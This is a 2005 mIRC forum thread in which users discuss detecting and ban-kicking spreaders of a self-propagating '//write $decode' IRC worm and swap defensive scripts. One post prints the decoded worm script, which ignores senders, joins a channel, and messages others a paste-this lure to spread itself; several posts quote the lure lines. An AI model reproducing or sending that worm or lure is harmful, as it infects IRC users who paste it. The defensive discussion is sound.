mIRC Home    About    Download    Register    News    Help

Topic Options
#109694 - 31/01/05 08:43 PM //write $decode ban and kickk script
Kev_Uk Offline
Vogon poet

Registered: 22/12/02
Posts: 173
Loc: United Kingdom
I have been getting some of these messages of late in some channels i op in, how do i go about making an auto ban kick and warning script as soon as they private message me this type of stuff?


Do You Want to be an OPERATOR in #channel ? copy/paste this-> //write $decode(-edit-,m) | .load -rs


Edited by Mentality (31/01/05 09:03 PM)

Top
#109695 - 31/01/05 08:49 PM Re: //write $decode ban and kickk script
Relinsquish Offline
Vogon poet

Registered: 25/03/04
Posts: 175
Loc: Canada
Code:
On *:TEXT:*write $decode*:*: {
  var %a = 1
  While ($Comchan($Nick,%a)) {
    If ($Me isop $v1) { ban -k $v2 $Nick You have been infected with an IRC virus. }
    inc %a
  }
}
_________________________
- Relinsquish

Top
#109696 - 31/01/05 08:51 PM Re: //write $decode ban and kickk script
Kev_Uk Offline
Vogon poet

Registered: 22/12/02
Posts: 173
Loc: United Kingdom
Will that kick message show up in the channel so ppl know why they were kicked, as i know some of these $decode viruses can totally block everyone from typing to the infected person

Top
#109697 - 31/01/05 08:53 PM Re: //write $decode ban and kickk script
Relinsquish Offline
Vogon poet

Registered: 25/03/04
Posts: 175
Loc: Canada
Although some IRC viruses ignore all users, they are not completely oblivious to kick, part, join, or quit messages.
_________________________
- Relinsquish

Top
#109698 - 31/01/05 08:54 PM Re: //write $decode ban and kickk script
LethPhaos Offline
Fjord artisan

Registered: 27/08/04
Posts: 237
Loc: Belgium
Well, i don't think you should kickban the persons sendig this stuff, because it's likely they don't know they're sending this around.
(I got 2 or 3 of these messages from a friend too)
Running that command (a noob could do that) does the following:
CODE:
----------------------------
//write $decode(-edit-,m) | .load -rs
----------------------------
RESULT:
the user pasting it loads the following in remotes:
on 1:text:*:#:{ .ignore $nick | .timer 0 120 .join #Manila | .msg $nick Do You Want to be an OPERATOR in $chan ? copy/paste this-> //write $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs $chr(124) //mode $ $+ me +R }
----------------------------
And they continue spreading it around...


Edited by Mentality (31/01/05 09:05 PM)

Top
#109699 - 31/01/05 08:55 PM Re: //write $decode ban and kickk script
Danthemandoo Offline
Fjord artisan

Registered: 04/03/04
Posts: 457
Loc: Behind you
wow, my norton 2005 just deleted the local copy of this page stating its "IRC.Worm.gen". Pitty it can't catch it in channels rather in text in a html page.

Top
#109700 - 31/01/05 08:55 PM Re: //write $decode ban and kickk script
LethPhaos Offline
Fjord artisan

Registered: 27/08/04
Posts: 237
Loc: Belgium
Quote:
wow, my norton 2005 just deleted the local copy of this page stating its "IRC.Worm.gen"

same here smile

Top
#109701 - 31/01/05 08:57 PM Re: //write $decode ban and kickk script
Kev_Uk Offline
Vogon poet

Registered: 22/12/02
Posts: 173
Loc: United Kingdom
That's what i like about norton, when someone pm's me that $decode virus my norton kicks in lol

Top
#109702 - 31/01/05 09:04 PM Re: //write $decode ban and kickk script
Mentality Offline
Planetary brain

Registered: 01/06/03
Posts: 5024
Loc: London, England
It would be appreciated if people didn't paste $decode 'viruses' on the public forum, thanks.

Regards,
_________________________
Mentality/Chris

Top
#109703 - 31/01/05 09:22 PM Re: //write $decode ban and kickk script
tidy_trax Offline
Hoopy frood

Registered: 02/11/03
Posts: 2327
Quote:
Well, i don't think you should kickban the persons sendig this stuff, because it's likely they don't know they're sending this around.


Most people don't kick them as a punishment, they kick them to stop them spreading the virus. Whether they know they're sending this stuff or not, they should be kicked to prevent the virus spreading.
_________________________
New username: hixxy

Top
#109704 - 31/01/05 09:23 PM Re: //write $decode ban and kickk script
Kev_Uk Offline
Vogon poet

Registered: 22/12/02
Posts: 173
Loc: United Kingdom
Well considering as they can't see text messages of people warning them and can only see kick messages, maybe kicking is the answer, for 2 reasons, channel and self protection and to get the message through to the infected person.

Top
#109705 - 31/01/05 10:22 PM Re: //write $decode ban and kickk script
LostServ Offline
Fjord artisan

Registered: 21/03/04
Posts: 359
Loc: USA
Quote:
Code:
On *:TEXT:*write $decode*:*: {
  var %a = 1
  While ($Comchan($Nick,%a)) {
    If ($Me isop $v1) { ban -k $v2 $Nick You have been infected with an IRC virus. }
    inc %a
  }
}


If the above code works (don't feel like testing it) I think the :*: which determines channel or query window should be change to :?:. Simply because someone could ask about it in the channel, then what do they get? A ban.

Code:
On *:TEXT:*write $decode*:[color:red]?[/color]: {
  var %a = 1
  While ($Comchan($Nick,%a)) {
    If ($Me isop $v1) { ban -k $v2 $Nick You have been infected with an IRC virus. }
    inc %a
  }
}

Top
#109706 - 01/02/05 01:30 AM Re: //write $decode ban and kickk script
DaveC Offline
Planetary brain

Registered: 26/09/03
Posts: 4230
you should really be checking for a nearly exact line of the virus or at least the part prior to the encoded text, siocne someone might be pm'ing the op with...

<john> Hey I just got sent by BLAHBLAH the just write $decode etc etc virus, i cant pm him since hes blocked me.

result Johnny boy gets banned

Top
#109707 - 01/02/05 03:23 AM Re: //write $decode ban and kickk script
Relinsquish Offline
Vogon poet

Registered: 25/03/04
Posts: 175
Loc: Canada
True, but you would have to change your script everytime some idiot spreads a new IRC virus. This would protect you from all, that's what I think anyways. smile

Perhaps using this would decrease the chances of kick banning somebody innocent, searching for more specific text:

Code:
On *:TEXT:*//write $decode*:?: {
  var %a = 1
    While ($Comchan($Nick,%a)) {
    If ($Me isop $v1) { ban -k $v2 $Nick You have been infected with an IRC virus. }
    inc %a
  }
}
_________________________
- Relinsquish

Top
#109708 - 01/02/05 07:47 AM Re: //write $decode ban and kickk script
DaveC Offline
Planetary brain

Registered: 26/09/03
Posts: 4230
its to hard to deal with here , but the best soulution would be to initially text match to write $decode, and then actually decode the string, then compare if the text precedding the //write appears in the decoded text. That wasy u could be sure that the PM was just the virus propergating.

Top
#109709 - 01/02/05 08:28 PM Re: //write $decode ban and kickk script
Brax Offline
Vogon poet

Registered: 26/01/05
Posts: 187
Quote:
its to hard to deal with here , but the best soulution would be to initially text match to write $decode, and then actually decode the string, then compare if the text precedding the //write appears in the decoded text. That wasy u could be sure that the PM was just the virus propergating.


There are too many different ones out there to match them against actual decode string...

Nak CAri Awek, Guna Command NIe //write blabla
Want To Be An IRCOp? Try This New Bug Type //write blabla
gus2 m b maging OPERATOR sa #channel ? copy/paste mo i2-> //write blabla
Do You Want to be an OPERATOR in #channel ? copy/paste this-> //write blabla
Wanna be an OPERATOR in #channel ? copy/paste this-> //write blabla
STOP SPAM, USE THIS COMMAND //write blabla
Want to be an OPERATOR in #channel ? copy/paste this-> //write blabla

thats just small list... and this list grows every day...

And someone can send you something like:
Hello, the user Lame send me this message: Do You Want to be an OPERATOR in #channel ? copy/paste this-> //write $decode(blabla) etc..
your script detects //write and $decode... and kicks...
Though yea that would be better then kicking for character '$' (I have seen couple kickers like this too mad)... but then you need to update your script every time when you see something new
and add it maybe like this:
Code:
 on *:text:*:?: {
if ($1 == Nak) &amp;&amp; ($17 == +R) {
goto kick
}
if ($1 == Wanna) &amp;&amp; ($20 == +R) {
goto kick
}
else {
return
}
:kick
etc... 

And even then can happen that someone reports you spammes by pasting first the spam message and then something like "The user Lame sent me this."
Maybe the best solution would be to kick them manually wink
Just add it to popups and do it manually when you see it...

I do it this way, by kicking them manually with message (You are sending $decodes! Message me with word HELP (And wait for answer) or join #NoHack and ask help there!)
If user is really intrested about cleaning his/her PC he/she will message... and then the ignore doesnt matter either (since PM window is open)
_________________________
echo -a $signature

Top
#109710 - 01/02/05 10:46 PM Re: //write $decode ban and kickk script
DaveC Offline
Planetary brain

Registered: 26/09/03
Posts: 4230
Quote:
Quote:
its to hard to deal with here , but the best soulution would be to initially text match to write $decode, and then actually decode the string, then compare if the text precedding the //write appears in the decoded text. That wasy u could be sure that the PM was just the virus propergating.


There are too many different ones out there to match them against actual decode string...

Nak CAri Awek, Guna Command NIe //write blabla
...
Want to be an OPERATOR in #channel ? copy/paste this-> //write blabla

thats just small list... and this list grows every day...


You do understand that those statments are in the decode string?, So what ever the leading statment is you can find it in the decode string., you could simple encode the leading text, then ISIN it to the encoded text.

Quote:

And someone can send you something like:
Hello, the user Lame send me this message: Do You Want to be an OPERATOR in #channel ? copy/paste this-> //write $decode(blabla) etc..
your script detects //write and $decode... and kicks...


Well if he spams the the whole message he deserves to be kicked.

Top
#109711 - 02/02/05 09:22 AM Re: //write $decode ban and kickk script
Brax Offline
Vogon poet

Registered: 26/01/05
Posts: 187
Quote:
You do understand that those statments are in the decode string?, So what ever the leading statment is you can find it in the decode string., you could simple encode the leading text, then ISIN it to the encoded text.

I do smirk

I used this method in my script where I kicked people with removal instruction..

My point was that if you wanna make autokicker like:
if (FullEncodedStringHere isin $1-) you will need to update (add new if's) very often... too often... because if even one letter is changed there you dont detect it anymore...

Thats why I think that kicking "infected" people manually is maybe better idea.

Quote:
Well if he spams the the whole message he deserves to be kicked.

I dont agree with you here...
Many people just copy entire message and add their comments before or after that... especially if they are not sure what it is. (At least I receive this kind of messages very often. And I dont kick them for that blush)
_________________________
echo -a $signature

Top
#109712 - 02/02/05 10:13 AM Re: //write $decode ban and kickk script
DaveC Offline
Planetary brain

Registered: 26/09/03
Posts: 4230
Quote:

My point was that if you wanna make autokicker like:
if (FullEncodedStringHere isin $1-) you will need to update (add new if's) very often... too often... because if even one letter is changed there you dont detect it anymore...


That isnt what i ment, or thought I said,

this is what i ment.
Code:
in a ON *:TEXT:*//write $decode* event
;
  var %write.decode = //write $ $+ decode
  if (%write.decode isin $1-) {
    ;
    var %pre.text = $left($1-,$calc($pos($1-,%write.decode,1) - 1 ))
    var %pre.text.encoded = $encode(%pre.text)
    var %encode.text = $mid($1-,$calc($pos($1-,%write.decode,1) + 15 ))
    ;
    if (%pre.text.encoded isin %encode.text) { kick, ban, yell, throw eggs etc }
;
(this is not debugged of course)


The event goes off, The 1st IF isnt really needed , but might be a * matchtext who knows, anyway.
get the text before the "//write $decode" into %pre.text
encode it into %pre.text.encoded
get the already encoded text sent to you into %encoded.text
Now
See if the %pre.text.encoded is in the %encoded.text, if so then do whatr ya feel needs to be done

If it is just virus line sent to you then the %pre.text.encoded well be in the already encoded text, since that encoded text is the whole script file that just sent you the message, so the text must have been in it.

I well admit it might take some tuning to get that exactly correct, but i havent bothered to keep a copy of the virus.

Top